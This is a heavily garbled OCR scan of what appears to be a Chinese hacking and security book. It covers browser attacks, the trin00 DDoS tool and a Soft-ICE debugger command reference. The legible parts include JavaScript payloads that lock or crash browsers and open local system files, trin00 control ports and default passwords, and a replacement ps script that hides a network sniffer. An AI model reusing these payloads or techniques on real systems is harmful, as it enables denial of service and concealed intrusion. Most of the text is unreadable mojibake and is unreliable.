# (/8 - check bounds %), XEFRHIR

RAEBRHBATI AABRE, LN “a[3]7"28RE, T “* (a
+3)" AL,

BHTHAR C WAERERHRRIGEHEEBE, Brl%3 4 R\
HRBARSBRE., WA BERERERBI stepy REERFN
RHEHITHRRE, MERBE THURRE. £ CIETPH AR
FHRAREMZBRIERNAERN, BILXMRRERER BN, &
EXMHORRERRBRFHES, MAABRIEAREZ WX I K
Wi

2. Jones & Kelly: C ¥4 A FAE

Richard Jones fI Paul Kelly ¥ & T —4 gec B14b T , AR L BLXT
CEFZ2NBANFRE, HTRANTHEHBE I, FUBRFE
P MK gec R RAMRFHIFEE. EH—PHR, MI]1H
HWNBE R HREIRPRET -4 “B” B, REEIREX
HIBERMM RSN ERREBETFHERZA,

LR XEEATHE R LR RE KK N F— 1 R EHEAE
MR, Bk, K B TR AR KA AT AE R B 18 30 .

XA G H TR B A BB, — R E 2R F (20 elm) B R RBEE
XA L ESFE T ES ATEEH— N EFREZT , B2V BH
BEAT ssh RN R0, (BH LB HERRE T R 12 %,

3 | Purify : A B AL

Purify & C BF AN EEFHSFEAN TRAMARYANE S
TH, Purfy ] “BHRABEA" BERARKRENEWFEMSFR
A Purify %3 T REE, \THATRBFERIT R BRI R HERE L
MR ETRE3 -5 15
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F—H . MREE
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4 EB—5biET

FANSHEEHRRABET CESHERRS, MRHRAL
B - RRRBRIEA T AB AT , XRER R 7T 86 BN AS B i3
BfE. MRERIFTF, TUHEEEHEERE - R2MIEF U Java Al
ML,

HRAERN Java AT E 1 Java BRIV R C B, At d JVM
B — SRR R JVM B X R . B ITE RGP RS X 8%
B DHAR N AR GIRE - ZL2MES TR BREA BB R.

M EFEt Rt E

BFRTEEREMAFREARENOAR. S0 ILBFE
HEREAR, B R SRR EERF RS AR T
RS, B, ME—-NEEHERIHR T TERFNEY, A TRE
FERWB T HREFSE, B MBS ST,

540 FRERL, XM EABBRITA KNS X%
B RAH ALK b X% & 5 B vT LU X R . (ER X R
R EAERRHNE, M ERAFEWRET,

1. F B8R LR

Snarskii & FreeBSD J¥ & T —Z & #il B9 BB 8 i Wa T cpu HEAR K
FEREWXE LK libc . XMNMAZEAFLILAGER, MHRRY
libe P YA AR LR R, XMMAEE TRHTER, N FET
libe PE R BT B A RIFHIB T, (BRAREN PHEFRMLE

2 BEKY

AR R R—MRUB PR TBERENRFREAR B
7 SR B0 B 28 P 3R B b ik SR SC B SEAR IR VE R gee I—N/NY
AT, TR, AT RS L FE B ARSI B BB U ST
RIS LB b7 SRR P s B0R Bl bt 5 N T — 2B FY . WE
RBCR MR, HARAEXMTHMNHFVREESHEINE, MRERELE
X% BB, AR A R B TR 5 78 R BOR BIRT SR 2,

CEEAMER - 35)



BEGERBE
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B2, a0 R Bk & B0 B X Se = 5 AR, I HeB e s i o
2 v [R) A AT T, BR 4 B R AR RS Bk T AR CR P A I B R
AT 10T BRI AT X R G :

(LIS

FIAZE C B S PRZL LSS0 0(null) ,CR,LF, - 1(EOF) %X 86
S ARELE R R A B R Eh A, B B ek i — HB B X s &
LR S SR RBOGIE T .

(2 )FENLAFS

Fi A — A 7€ R B0 F B 7= A ) — A 32 LA BEPLEOR LR
BB E AR REE I BN F WA, T, BRIEARmEY
BN AERFE RS , A T

T Ao A 2 AR Y 52 B M AR AR 31 B B Synthetix 7 5 AR K
Ho Synthetix FEELFHABEALTERHBREETENWERE. X
SRRER R RN EUEREF LT, M H R EEWE—EN K
HARAT ISR, XA EERINFFAMEALRE, Synthetix FR T —
ST BRI X AR,

ity 58 o 2% v X da S T 7 A B B0 AT DA R G MR TR 3
fEo. EFRERMWBLT, ILEEATEA TG IERRT, XNF
BRRRPRBEERENRT T

SEHIBIER  BERRY T T &R R NE o X% HBGHEEE
RIEFHARTFIER , R R MR R RE TR, AR
{RIP BB IR BUTE I FLRE R Y 25 T AR B o

WARR P ARAH) Red Hat Linux 5.1 ELEZMARZ LEBETTE
£, 8FENANE LA B R TEHEFRS S

3 HAKRP

FERR BT B, il AR R T 28 nh X 3 Hh B 3 L
M—FIER . B AT —FEOBORH B S B0 (7 1996 4R 1Y
BHE) M, B E R MR LR, T TE, REUE &R
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F—H» MIREE

Pc friend -
FASE—fBLE) 77 H5 SEHE 28 v DX 8 T i o

RET R RERATEH X XFFLRB— N, BAEEFTAR
RBIEE Z G BRI TR R ER AR Z AN A%, R
BERY, =& HREES R EERF R, i FR7E R R
MIT—H. IRTREPRATEER:

(1) B35 8 L

o =5 B 2 ) R FE AR ) 2 B A 40 B AR 23 B Y, (R e E
BRI FHORAT BT B XARAR T M B T REs3#
B, BAOAEEESRFZRH A/, HHRINA A AT &
HIGEHIE SCHPE AR 0 o 38 , Xt & PR B A A FIRI-F 4 H o

(2)EMInF

BREF RS AN RBERERNF TR TEE. X4
WAEREER “AFRSE ERFFPEAENL, HFESEXRD
RETBGER , T & M ILAL M TN S P IR AR R, BFHEE
ARRRBEAF, AT ERE AR,

BB AL, RARD—ER - TR 6 AR B 0 B RE Rk AR £
BRAEIRI . (B2, o7 LB fE g 348 3R X — R B AR+
TORZAEN , XN FERFR A CFLMAMMKRET

CEEARER - 37)



R=iis

ANETBAS NV EE O RA ARSI WEARN BB R AN ARG ERRA AN NAS ’ / y '; (ER SRR

ERSAEITE 2R FERABTRM L
FFEAGEEFR, TRILXEFE NTHE
HFERNGEL,

AP R =FNRB LA TEALY - LEF
ke & E M, W% %A E DDOS (&
HARXELRS L E)FF,

PuINBELSZEIARAGA, B XK
HAERREH TEEFLALAERSY , L%, —24F
PERELRNEELL BRBAMNAA “XE"H
MEERFERT . LAKRITEEHGEE REML
CHEAREA R TUAARARELLARA XL,
BRLEERATET ., AR T, BHNRMERBIER
KRBT, TRRBIZFZIAGREEELA 5 TH
REME “BEGER , RLRTYH—AT R,

%7, at#vfn.—-:!:#ﬁzé.l&%xi—.t—fr xi«m

ARSI NANE AP N NSEEAANR FENRESONRNASIR RIS RAN




. B BEFEREL
Pc friend -

R BRI RS TS

J1IMFHER

IR RBA— AN LA, SRR KR YL LM%
HEBSR A KB, HATLURY ", — MR, Bl s
HUFIARK:

X LT Bk K& I KRR EAESR BT AT S
MR,

3.2 I

YEB T M A A R 38 R A A TR, e — Bt TRl 1 H
CEEARHR - 39)



FoH9 . ZEFEREL

Pc friend -

SR R R R Tk

.1 BEHERER

IR BRBA— AR LA, SRR KR LT LM%
HEBSF ARG BT URR “Bd”. —B3E, BGER A4
HUTFIAEK:

FUTHRRENEMHBGEHER, BABER, BETATS

3.2 I

YEMBGE N EARE M AT RERMG, £ P E—ENEN,HB
CEREAEMER - 39)



Z2EGEME
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FRALR AR B A B, BUR
A th R e R £
BT B R T
U SRR, T IR A
B 7 G5 A AR IR 55 :
LRI AT AP .

KA . .ﬁsagﬁﬁﬁﬁ!.

3.2. 1 wipfYGE

TEAFFE S b, AR E Sl R T o . FHA R
TH AT — AR A8 T AR AT AR 8 2 5 S R A gLt S —
A B KE BT AR G R R R A L AT AT ASE B . BRZE N By
B AR PR 2 HZ 2 & 5 B4 K 2 RE (R IEB L & 1B
B FE b, FMBE AT B RER TR ERHFX AR X
Tz R AR,

IR 4 T 558 i R AHY £ 2 P AELTT R, el T MR A R 5 5 B SR AR AT
1), T Bk B BRI ST RGURACH, 3 2 9 R 44 25 i ] 19 4% 1%
R THFER B ] 2 BRBE SRR AR H RSB
EXR, E2E XHRR, XBESHTFLZHRIERS, W0 Unix . Windows
S HORIER BR T EE R GA BBTER Z 50, BT KRB B IR MR 4R
HRI K K4y 5 FIOR B AL B AR B (] 5 4 5 , 368 B IE H P 1 1 )
AT WX T AR5 2 MEAE R UL, i T H HRAH 2 B2 A R
B, AR — BT R EAE, RAMSEL RS , R 5 5 1 HE
P BT

FEX Y, Bt & — R E R B C BRI, — R HE
ZHpE R, XARAE 5 L AN T R B S W) 1P, A Rk
EEW P, — R 5 BT LA Rl AL R4 R 55 48 , [R]— 1 BB 44
FaAEARR, REELFE =G, LEdHEE, —MEse
A DL BRRE B BT BRCR AR T B2, AT & T E T4 M4
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FoHy RETFERERA

Pc friend -

b B R R S B A, X R A S — R E E T TR R R
VTR AR AT BTT B8 2 A8 P 1 3T B A UK — > B TR [l 25 ELR,
HBHREBRTHEREITHE, SN/DRFEILHAE T IR R ER N3]
R, BEREMITED LT RIREMER

B BRA4 K B R, 0 B0 T — 5 S R R AR A, 0 —F
FRA E - mailChomper (BRAZHL) B4 , 7T LA B /R4 1 Al B AE 3L R

e TS SRR ERAR R GL RN GR TR N E R B, R R R

B & B 32 Bt (93 , T LAGE R R AR GE R BR AT 98 R SR TR e 12
WO 2 R A4 , 1B BR UL , B AT TR AFAE BE WA A A+ A
R TF B, FEAER TR R E

3.2.2 IR s

WK Z A TR — R AT B GE B EAN K E B h A
B FHRG—HEZBEEMN BARRET . AT, BRTLUAE
WMRZEBPIEH BHFRARFTA MWK ER IFEHR, —REWKE
A R YEB A B AP, — Fh 2 A JavaScript 4a il 9, R B 7 X #F
JavaScript I R ZE A AT LME B ; HAM—FIESRET IP JFEK,
F B T B AEXS 5 1P bk 30E FH Y R G . IR E
PR Unix i, B3RS RERIRHE , AR A T LA flash Z 8842
ZEAAT, AR A EXT 5 1P Huhk , ARBEE AT, {5 fthad B A
ZAREE . TERPMERNZH S E—METRNA

1 (EF JavaScript BI¥ESE

LR MNBRIRB AR JavaScript HIIE , BIFE B EHMMERAT
EFE, '
T JavaScript RIFES AT LAG VF 2, #R AT AT B A0 SC 8K, 3R JL
BN .
(1) Xy
A KX FCAEINE A Z AT, LAUEH 1 SR A R

CxEamts  41)



2EGEBE
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JavaScript ZHREXRH] ! BMWERSBREHRT . RITTLUEAT
TH P ARIE R EH :
<a href= “ http: //hackl. yeah. net” onmouseover = “ while
(100) {window. close(’ /) }"> </a>
. B <a herf= “ “ onmousever =” while(ture) {window. close
C7)Y> </a>
(2)ikFHFHENE 2
TR ARE A AT (R SR
<img src = “javascript: n = 1; do{window. open(’ http: / / #REFT
FFi%ESE’ ) Jwhile(n= =3)"width= “ 17>
<a href= “ hitp: //hackl. yeah. net” onmouseover = “ while
(100) {window. close(’ /) }"> </a>
(3) ik FHFAEAHGET 2
XELIF FEEERB N WA, T RB T REA B 25T
Plo EIEWT:
<img src = ° javascript: n = 1; do{window. open(’’) } while(n = =
1)’width= “ 17>
(4 )45 M Loy A4t %
FREESBIMBRM (2)EAE, LHBHWT :
<img src = ° javascript: n = 1; do{window. open(’ http: / / 1/}:%1#
HI3C4’ ) Jwhile(n= =2)width= “ 17>
(5 )b 477 B TR & ko X4
MR EER LA LL . bat RERBISUHHTE R LLEEE T
I, Bt el FHLA T IBAILEXT 5 C 848 H R T &) Autoexec. bat SX{HFHT
I
<img src = ° javascript: n=1; do{window. open(’ file: //c: /au-
toexec. bat’ ) }while(n = =2)”width= “ 17>
(6) A A K ikst ¢ CPU & fi
AT LR — IR R R BB 54t , Z AT BB A SN W S ETE b
(42 - zmamur-




FoR, ZEFERIEL

Pc friend - 1
BXT , BFIANXEHNREREEAEXT! KERTUERAUT
BET

<img src = “hitp: / /a” width = “ 1 7 height =
“ 1000000000000000000000 ">

PA_E BT B , 28 RBR T XI5 i JAVA ZheEs B R DhBEFF B
BHE, IR X 5 JAVA SRE R DIRE R XM, B4 LR BT A
BEEN EERETUFEAREN T ERIERN T RERENER,
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RUTEN KRS, L FTP , W AE )3 31X 7 UDP il i echo

(7)¥ O chafgen (19 )30, X OB H A, R SYN -
Flooding Bit i £ E B7,

3.6 DDos &

TR, 7E 1999 45 7 AL, MK ERIERLKHI X —1 Bug BB
ZN R, BEANF AR BI#T T 2R AT, XFHFHBEHEY
A BFR A 5 7 XI5 48 R % (Distributed Denial Of Service Attacks)
7, % DDos Wit o BFARE S — Lo HEBE A ML MY 48 T F P4 AR
HMEZ T XS

DDos B R IE4 IR 55 Wit i —FP R RTE K
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FoH  BETFEREA

Pc friend -

3. 6.1 DDos ¥ty B e LB

X BHNERFEE, RAARGHEEEBAFERNEN (77
BEBES) ME—-HHEERE . ERERNFRIBX T, B
Y ESRPR LRI,

XFEEF RPUEE R IEE AR, T HIE % AR, (EXF
Bt R SE A — 8 BB, — AR A BB xE LUBUR S5 56 , B9 R B
HELITRB—EARETT, BERSAARLHNR, CEHHELIX
MEEMTAESEEZEINIRBLHERT, B HMBB AR Trin00 F1 TFN
(TribeFloodNetwork) , JRUHS 0 i) Z2 3 I B R LA R 20 , B v 4
FEERER—L Internet FFWTK EHL, 8 3 — Lo 3L R T A A
EERGHRARERR, KR RGEHR, RAREX LIS LE R
HIBATH A S W i P H R

3.6.2 AT R#MHLH DDos Xili

T X FH M BGE T, X FRATG R G RIEEFH
B, TSR LA A —-TRE TR, uin00 MEH LA RKAXF T
HSL3 DDos Wit KRB B0

trin00 H =44k :

1 ER%&

P a] L2 telnet Z KW H FHERRME, FPmERRRM E
¥¥ (master) RiEM4S. Bl ERE master B 27665 %5 0, AR5 1]
master &£ XT H i FHLRBGEER

2 \FE#23 (master)

FREEMTUTE AN O, o 27655 REBREGEHE S, XIMEIER
FEFEN, BRENFEBR  betaalmostdone ", master Ji 3l i it
BREBR—NRAF: 2?2 " SREAEE, FBHR “ gOrave ", 5
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ZEG AR . .
+ Pc frien

— AN R 31355 , 2R A A SR Y UDP 3830,
3 .5 3% (broadcast) — I F i 18

AAmN R R ENAR, SHARTEERGECEERK
PLAs b, D SRR A T E s 1P sk, oA b5 E i A
UDP R SCH1fE , KX B E#um iy 31355 i 0, & “* HELLO
*7 WEPEIE. FEWE B EVLREBE 27444UDP 55 0 K%
KA, A mEIRE “WK” (flood )Hiih o

Bl PR R A - “ B E > master— 23 fidi— BAR EHL”

5375 35 1) 3% & B bs WL KX # DDos #{52& UDP ]3¢, §—14
BE 4 NEFN, XERCEA— N 0K BREVLZEE B 55 £
EWARRYN O, B EVXNE— ML EE —4 ICMP Port Un-
reachable {5 B, , K& A [F] FHL K 3 #5326 Bt 7K B 49 1 SCIR R AR B
Hir EVLR RS TR, AERKTRER O,

3. 6.3 Rif} DDos ZiiffysEng

FILA AT UERX S Bl FXMREHEN EEERREN
FEFVLEH T, TR . B & —Lah M IDS =&, 4/
By FXfTxfprcih . IDS BRI B2 i — &R S K UDP R3¢, F
WARLEE XA A B bndw H L {HK B FAHF TS O 8 UDP 30, &
B 10 MEA R UDP 83T, 4tk 46k B FAH[E A 1P, AHE Y B 475 1P,
FHEI R BRI O, (BT B B 459 O AR 3 X R AT AR —iR B 8:E
KB, A —Fp 722 T HRAR LA [F] i VR b bk F0AH [F] 49 B A5 stk 59
ICMP Port Unreachable g B.o
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oo BEFHEXEL

Pc friend -

BNE RE TRE

HEL b ERENRERST, LA REREMN SR
ETERARATEGH, ARZLETX M EHRREHCHER
BRHIANCEEHTH. RE—DPRENTWRAFH XX RFARE
—BRATHERNER, X RALBAL M3 HR, 7 AR &
FELARMRERERT, FHTEGE, TARRERA SR, FINR 2
W 9 BO2K , — ™% 28 48 [ B0 A 4 72 — 25 N3 1O i IR 2% i 3, thu 58
0] PAA A AN BT BT R Bl . IERE ORI, B AP
BN AR RAEFE RSN,

4.1.1 BETHEGA

BT EMTHEEHBRH, —BRELSE S HHBRE, H LA E
HERAEXRE, A FRAXM TE#THR G REAMHER, Flan
B £V R — &84T Sun0S4. 1.3 ) SAPRC TYEus , BB AT A M
Strobe T E#HTHIR T , BH A RBIWHARAIERTE—HK. T
A B ERE AR EHEN - EE M,

HAT7ZEM LA HEZ MR RE L RN CE, —BXEPFE
R T ARERANER, FEABTSHEAHENTFE, X TF—
AFF S, Al RS HX 2o S 4 1 #1780 , (AR 2 B X F
BERITAEN JEE IR R M Ir B IEN AR E LT R T 2K
BR# LT AEFEUTHENEHNEHBE LAY, WELARE
XFER BB, 2E ARG T2,

Wi TREIFARTEHIA, REE AN TREWAT DA
HRH TR, #lm, B8 EBirENL, EZHZ telnet 55 rlogin F /4,

Xt B AR EVLBEIT ISR, RGP H L AT LMBO 8289 T A, 4 finger 1
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BEEBGEME

+ Pc friend

showmount .

BEW TREREZMEHEN, FFAR T -1 IPITH AL B
— ARG, B, Web IR 858 — 1 S B B L2 B % YR Web
JIR 5545 B 34 R IR Unix MBS SCAIEH R B, 20 AR 55284 (8] A
PEE, BERASS X Unix s, BIEE R —10d, —&
HTTP R %545 20 F P 5 R 435 I8 L,

ARER LT BIF LR Unix RS, P85 R#T 50, #ilan
W23 .21 %m0, —FAPER, EREETRIMARZ2MO04
REFEXR, FTRREHRBATKSMOS, WIERFELIZE Windows
95 F1 Windows NT H$i&47,

WHWTRBE, R EANEERARDEF EHEETT—
AMERRF,BERAEIEHMAMN ps 72 HEBX—RFEET

(BIEAXIMRFRT &, EEB1TH, ENFERET SR BFEEER
—RRERERXR—ITMEENTRF), JHETLUE ps LB
A—ANHEHRERE, Bl pss , HE— shell BfF, HiX 1 shell
BIEEAN ps , B3 ps TEEHFET:

# ! /bin/ksh

pss —ef | grep —v sniffit | grep —v grep LG, 4 A A ps
WA, EASRARGETAENEFAMEETEF, XE—MRE
BRRRHRARDRER,

WAk, GnER R KRB E T AR MG A EH N TR, 2 BAH
MEUARGER EERKHIESR T MEEHEE, 6 A1k T RS,

4.1.2 ENHRITR

XHEFERE TR BEIE XA AP 4 (USER)H
#H#5 ( PASSWORD ) B9%k{4, T m & B4 4 LA,

—. Soft -ICE
Soft -ICE REBEWFAMBEMIAZ —, Soft-ICE R—1HH
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oKy - REFEREL
Pc friend -

WAENEREYS, RES S REN TR, Soft - ICE MM4RE,X
BANBEEMNILE,

Soft - ICE K Ff 4 sh#E %8 & 4 76— W] LABS B8 B A9 8 0 o
Soft - ICE BT A 4 MW U B RE—N/PME O+, EXAEH DAL
T RBBEANFRRE., 2438 Soft - ICE 44 ft 872 Fr 0 Bh F 8 BT,
AL R/NT O, 43 Soft - ICE B0 7 ViR 28 FA A, AT BB &1
BAX#EO,

;A Soft-ICE 5, FJLARERT A E O, —FHFH R EHK Cul+D
BPET 38 Soft - ICE . {1 ALTKEY H4r4 o LA Bt #vid X
S BRI H Soft — ICE A9#E AT LA B 21 JR 46 A9 I8 i . 7E Soft - ICE
BE BT A IR, BB FF R8RS 30

Soft - ICE Fi & B2 %82 1 Bl 6 N FRNZERF B, BRH K/
B ENSEBRFERBRRREIRN BB BNETF, BT 2
BFMBBERNES BT 16 #HHIER ., —4 byte(FF)
BEAE 2060, Word (F)B¥HE 4L, double word (UF)RFA
B “TaRE Word 2%, UTR—ESEHHKHT.

12 — byte ¥
10FF word 2%
E000 : 0100 double word 2%

FAEBAERBA P LLER Y byte B word SEH MU CS :
IP - 10 #1542 N BLZE A4 194 BHS GO 8T 10 byte FFHE KI5

TIREER T LI — B Soft - ICE S . ThEe@ e Ui A 1T
BEBM Soft - ICE. DAT H & X, Soft - ICE JE ¥ K Soft — ICE. DAT
B&xt 12 M hRERA R E . B AT AHEREEM— N E .

DT RAYPHEFHEANRS .

[ I—&%HIELARTS

< > — AT

X | Y—fB XY (XY&E ),

count 1§ EWr R FHE R T ILRASEIES| X ¥ 0
CEEABER - 63)
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+ Pc friend
REARE, BEEE L. BRI AP ET AL Soft - ICE WE R,
ICEES B AWK E N R e ds e

Verb HBEEfH 2 RAETH ASEER. RARER; wR
REA; RW RRERESA; X KERPIT,

address Hisik, RS 16 bit (H)H word LB S 2P 4
Bo F— word RFEB ML, 5 =4 word REHBE, Hiliba] Lk
Sl FAHREE, T LIS .. @ KRS,

Break FWT S REBSE A (B%E MER . EH S s e
ERDEHERK . ERARRESHSHRE, PHSEHOAFH
Ao

list

—HHE S RE AR ETE S,

mask——H1 1.0.X AT BLAY bito X fRFEARAFRA bit(H7) o
(=)o 544
1 R ERSSS:
BPM BPMB BPMW BPMD —7& PN f7 1 31k 8% 77 B s P AT B BhUAT
o

BPR —— X} N 7770 B B T A5
BPIO —— 1/0 %% FFE BN fih & 187 5

BPX — B /iEk HATH A ;
CSIP —— CS : IP i Bl i 46 2 2 7 5
BPAND — %1 E G WA M A4,
2 . BPM BPMB BPMW BPMD
51 & .
18 BPM[size] address[verb][qualifier value][C = Count]
B.W.D;
byte (FF); W

& N 77 ik A7 B AT i

size

word (F):D

Double word

RF) :
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By ZEFHRAEA

Pc friend -

size FE 16 W R BT IR B MOTE Bl . 26 BOR 3, IR A B9 2 double
word (F),MHE=A byte (FH)PKRET ,ME5I LT K. W
R EHIBER ( qualifier ), size L EREEM,

verb (Bh{E) R.W.RWEH X;

R—iE&; W—5H: X —¥fi&;
EQ.NE.GT.LT.M;
% ; NE—A%; GT KF; LT

qualifier

EQ
R

qualifier R TEEE W s A FHE,

3 . value W K/ E S byte . word B doume wod FO{EL

BPM 2 SN B R PATH 51 K H BT,

verb BREE R RW ; size S {H N byte .

BT X SMY verb HEFERFIATE R PH IR ERFHE, CS:
IP g RS R WG — TP, WF verb HZ X, CS: IPfT
KRN SRENNE,

R EME R, YN BHE BB A BUE NS AR K
Bl R HE INEIREME R. W . RW B, 8 E bk BT 3 A S
51 & Hli,

#: BPM 1234 : S1 W EQ 10 C=3

X—fAWE—1 byte WNFAHFEE . ¥ I0HE=KBEA
1234 : SI P48 ST A

#: BPM CS : 1235 X

X—fARE—MITH A X CS: 1235 MEBFBEEII TN
IEHW, BB CS : IP Frig MRt R WT S B btk

. BPMW DS: F00 W EQ M OXXX XXXX XXXX XXXl

X—AWE— word NS AW S, % DS : FOO 5 A—
AMEALR 0 RABR 1 (AR B MR, %5 & i,

#i: BPM DS : 1000 W GT 5
X — L BE—1 byte BIATFE AR A, % DS : 1000 HEA—
CREGMEHR - 65)
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ZEGRAL Pe friond
+ Pc frien

AMKF 5 WEE, 51 KM,

BPR —— X PAFE Y I B T

1B : BPR start — adderss end — address[verb] [C = count]
R BT I8 R R b hk ;

verb R.W.RW.TETW,

4 | BPM fig A3t — B AR T Bl T o

BT TH TW SME verb B SHATHI R FHIHWEFH, CS:IP
BRI RPHHT —-BREFE,

ARERRE AT B T8 BB OB 2, A SR BB BT B 78 BT T i 0 5 8
R . BFIHS] B A 2 X 1 B i B2 B

MRKIEE verb ,BREHE W

AERERAT, REUEKNSSEERENER. Soft - ICE ¥
SO A X TE T E WS B 4K NAERIES 3hE , RE O REAGE
B 258, At ] fEA = E FEK MBS

verb {E{# Fil T 8% TW #4 #£ 48 & Y5 Bl 9 7] A B B BR B% ( back
tface )o ENIFASHEIESIZHE, MARICRE TEFEHERE., X
AEHERT LAF SHOW 5 TRACE 154 B~ K.

#]: BPR B000 : 0 B00O : 1000 W

X—frd & X — NG E R R

BPIO ——3 1/0 % 1 A2 B A fh /&2 Hh

&3 : BPIO port[verb][qualifier value][C = count]

start — address . end - address

port —— —> byte 5% word JTEAHIH :
verb——R.W B RW ,R——read (IN) ; W——write(OUT ),
qualifier EQ.NE.GT.LT.M;
value —™ byte B word JTEAHIE

IBPIO fr4-47E 1/0 3 D E it 5| & ¥,

MRAIEE value fH, EHHERMZI R BH IN | OUT BFH
Bt/ B i B IE SR 3 o value 7T PR — byte B word,CS : IP
Ko RE Z PN EFBNE —BRFBE. IKEE verd ,EHE
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Pc friend -

£ RW,

5 . BPINT ——3& F b7 it foh 2% o B

&% . BPINT INT - NUMBER [ <AL | AH | AX>= value ]
[C = count]

int — number B 03 FFh B ESE.

value —™ byte BX, word FI{HE

BPINT 14 °] LAFE VR B (4 P W sk sk 4 P e 51 R P i, FIA
82 AX WAV LU 5 /3 B55 € DOS 5 BIOS WM.

MR BA T8 E value 18, ZEF R E K W7 R BB 5] K F#T
XA T T AR - e D L R A o BT B PR R T o B R Y value H 24
W7 & A B R4 SE I B FERS L3R (AH L AL B, AX) o 20 HAE #1388 1
RS EMREN K5 Z Ml BEs R, R REAESE, CS . 1P
KRR BRFNE—BBFDG, #H INT? 4 EMmL S
Wi B &R AR ATRIRE , AR R, W CS - IP 445 A A
BT,

f]; BPINT 21 AH=4C

X EX—1 21h FEHEIE, %4 DOS 4Ch EH (Z5RE
) 8 A e RS | & T,

6 . BPX - & B /BB HITH S

iE&HE: BPX [address][c = count]

BPX 4 W UER BB PR E / BRIUTE A, R E
BREBES, NATER A, P17 8 S0 B 78 B B ehn Fife st
k. an5R B R 6AR T Hual © 28 B — A PATH R, K i BRI T A
IR FRE AT WA SRR S, WM e, mER
B EmBat, BRTHY CS L8 Y Bk,

. BPX. 1234

X— SR ERGERS 1234 TR BN A

CSIP —— CS : IP ¥ B Bk 2 3 b

& : CSIP[OFF | [NOT] start — address end — address]
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+ Pc friend

NOT — 4 R{E A NOT , R 2 CS : IP Frig B, A &5l
£,

OFF ——{& X} CS : IP MIKESE o

CSIP 1y 42 W s B B S i el A & B fs ALhk T . ;XS ThRB
ENRERFSRRABUHEEZIIME T RERAE . Yk
fERRSLET, CS : IP FHAHRSHEREENEEMILE, YHAEMRR
WA &5 &Pl INEA CS: 1P Fris BB A 51 & P i, MEE A
NOT 2%, iR %A MBS H N4 BoR HET CSIP L.

fi: CSIP NOT F000 : 0 FFFF : 0

X &4 RAER S &AL H CS ¢ IP 3k 451E ROM BIOS Bt
A &5 RHH,

7 . BPAND —E R AW s R4

iEY:: BPAND list | * | OFF

list —HBHESREAS TR ESE,

* —H B W A

BPAND & & X AR E AW S HZ%E AND 28 ., RA 4
A WS R RS A S EIE T & .

FEEATESHFEEFEARKEBRIN A5 KPS
BPAND 54 ik 38 % BN 8k &N 7 P W7 & A Wi 06 75 BT B BT A, XA
R R IR B E R WS &, KA BPAND 444
EEMBESHEMALZ S S , HRIMEH BPAND OFF 41k, AJLA
A BLa A5 R UBEEREN S SHEEAE—&E HEAE—
BERBEAHNEASBELEIN& ., — BB EABE SR, BRIEHE A8
#BRER BPAND #4491k,

#i: BPAND 0,2, 3

X—mABER05. 25 .38 HA. REY=AFEHRL
Bt A &5 &Sl Bl mE 2 53 SHAEHERIL—KE L, B0
SH&HFMRBRIL, M REY 0 B RH BRI A ST & PH.

(=) 5
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FoHa  RETERRRA

Pc friend -

Soft - ICE RULFH A& RN LEHAA LA UAR

Ut B HER B B IERTR . TR A Oh B Fh BB sU5 15
KU o SEB PR LA

BW Ak TR

BE — 3 Zhif 5 ;

BL —%1 i 1 45

BPE — %38 7 45 ;

BPT —— B W7 i X4

BC — 5 KR 0T A5 5

EY: BD list | %

list — B HE SRS TR S5

* ——H T AW

BD iy 4 & F kB i o 1k W 2 B9 o 7 2RI A BE 4 U 3l )
EHHRED, TLUA BLaA 5 R U AEE Rl S g Pk T, g
IERE R EBEESE -1 *,

#:BD 1,3

X—mAEE Ik 1 53 S8,

BE — 3 3l

BP:: BE list | *

list — B HESHE A FHERSH,

* — RS AN A

BE 4 R FHXEF B8 BD ar S I MBS, MMras—K
E X< a3ES.

#: BE 3

X—m4ash 3 BHis.

BL —%) i3 b x5

&Y. BL

BL i 48R A BRI EMW A, BLWASFIHE iR
BT A S B BT S A BT RS A R
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+ Pc friend

W RE S mEshfpik, It S SBEBEEEN %, &
BPAND 2 HEIME N S SBEESE I N& . &5 -5l %
FETHBT RS UEREER, BLaSBASH,

#: BL

X—mAEBRIAE XN S, UTHIH 4 S5 T

(1) BPMB 1234 : 0000 W EQ 0010 C =03
(2 ) BPR B000 : 0000 B00OO : 1000W C =01
(3)BPIO 00021W NE OOFF C=OF
(4) BPINT 21 AH=4C C =01

BPE — 45 W

1&1E: BPE break — number

BPE g2 1B W7 s U8 B B g 4B 4T DAME B, SR U5 T DA R i g
BEYFHRE REAERBEHRA. XM UREESREE B EKNS

¥

f: BPE 1

X—mAE 1 SH AR ERARETIHERE 1 Sk,
BT B ZE R A AW R EHEA

BPT —— BT A3 iR

&% : BPT break - number

BPT i & {E C FEZE M T R BEBAE R T bt L 6 B O RE AR , AR ER)
Wi UL S BUR B RIBAT 5, W1 SRS TR B RO R (R T
XA A BT DR H 15 B R T SR L BT T

l: BPT 3

X—A it 3 S AW AGRETT, Y THEFSHN—
A HTHT A

BC — i BR

B BC list | *

list —HHESH BRI FFHEE S,

* — R BT A MR
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By EEFERER
Pc friend

BC #4 R FR AT H R — R E W R,

#l. BC *

X— A ERITA B Ao
(2)BFEHBH/ERS

s

U —RICHRB R ERETFE;

R BRBER TR

MAP BRRGENFAMHE;

D —RABE—KIEENEXBRHNIE;

DB ——LA byte BIIER B/ NFF;

DW ——LA word KB BR NFE;

DD ——PA double word KB B8 NFF;

E—RARE— KB EWEFENFE;

EB —— U byte TE X458 77 ;

EW ——LA word HIIE X HB N ;

ED ——Ul double word B iR NFF;

INT ? BRBE— KRR P RS

? L H—BRHEHER.

TR X He i A I R — R BB A B

U—HILHHBREEFT

BP:: U [address] [ L [ = ] length ]

length ERILCRHOBFEKE

U X4 B EE RN EFR HEFE,

WRBEHIESE length , BREER 8 ITHRBKER—. MEKRE
5E address , X4 WBE— K RIL 4 ) 5 — byte FFIR R 4%, 0
RINRME A RICHRHS, MAERTCS : IPFFih. WEBRFHER
RE, WEFBSBRERS, MR E AL B M RERFD

EHA, B BATH R AR ERE B R BH.
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Bl.U$ - 10
X—r4 M BRI AL BT 10h byte TR IC %o
Bil: v . 499

— A M 499 17T R B R R ER TS, BFBELTRT LK H
DR T RGN

BEH: R register — name[ [ =] value]

register — name W

AL . AH .AX .BL.BH.BX.CL.CH.CX.DL

DH.DX .DI.SI.BP,SP.IP,CS.DS.ES.SS .8 FL

value AR register — name A& FL , W] value /& 16 #H{H
HFHEHX, & register — name 2 FL , M value I TR EFEZ—
HEMFSNAA HENFSTUFELAEME “+78 “-7

0 Overflow flag BObRE;

D Direcrion flag /7 [F#5 ;

I Interrupt flag H ¥ibRE ;

S Sign flag EREShE;

Z Zero flag F{HAFE ;

A Auxiliary carry flag Bt HilnE ;
P Parity flag PEbRE;

C —— Carry flag ##lFrE;

